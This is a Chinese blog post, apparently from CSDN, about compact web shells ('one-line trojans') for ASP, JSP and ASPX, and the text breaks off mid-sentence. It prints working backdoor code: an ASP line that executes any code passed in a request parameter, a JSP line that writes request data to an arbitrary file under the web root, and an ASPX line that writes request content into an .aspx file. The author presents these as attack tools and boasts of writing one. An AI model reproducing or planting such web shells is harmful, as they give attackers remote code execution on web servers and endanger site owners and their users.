ASPX一句话木马--终极版&详细分析(ASP-EXECUTE VS ASPX

最新推荐文章于 2024-08-06 22:50:12 发布

hiwish

最新推荐文章于 2024-08-06 22:50:12 发布

阅读量1.8k

点赞数

分类专栏：脚本——Asp 文章标签： .net 语言 microsoft 脚本 asp html

本文链接：https://blog.csdn.net/hiwish/article/details/1728833

版权

本文深入分析了ASPX环境下的一句话木马，特别是JScript.NET中的eval方法受限安全上下文问题。通过示例代码展示了如何在ASPX中绕过安全限制，恢复类似ASP的经典后门效果。最后，提供了构造ASPX一句话木马客户端的方法。

摘要由CSDN通过智能技术生成

ASPX一句话木马--终极版&详细分析(ASP-EXECUTE VS ASPX-
首先回顾一下以前ASP一句话的经典木马吧！

<%if request("nonamed")<>"" then execute request("nonamed")%>

VBS中execute就是动态运行指定的代码而JSCRIPT中也同样有eval函数可以实现,也就是说ASP一句话木马也有个版本是采用JSCRIPT的 eval的！网上也有例子我就不多说了！.....

然后解析语言终究发展成为中间代码例如java .net 动态执行也就不存在了！

之前ASP中正常情况只支持VBS JSCRIPT(像python perlscript 这些特例的我就不说了)...

如今ASPX中所支持的VBS的高级版本VB已经不存在execute这个独有的方法....真遗憾....

同时Jscript 也一样转向高级版本Jscript.net 但是我们需要的eval函数还是生存下来的！script child有幸了...

先埋下一个伏笔吧~ 先谈谈如今的中间语言WEB应用中的一句话

JSP :<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("//")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%> 这个是我自己写的要弹要说,都是大家的呵呵！我不发言.....

ASPX: <%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWriter ow =new System.IO.StreamWriter(Server.MapPath("images.aspx"),false);ow.Write (Request.Params["l"]);ow.Close()%>这个不知道是谁的作品,感觉性质有点像我的JSP一句话了！不过还是把简单的shell实现了！支持ing....

两个一句话大体都一样调用类把接收的都写到文件！简单说就是对文件写操作而已！~昔日ASP 一句话的光辉如今在中间语言的后门中给限制得荡然无存~~错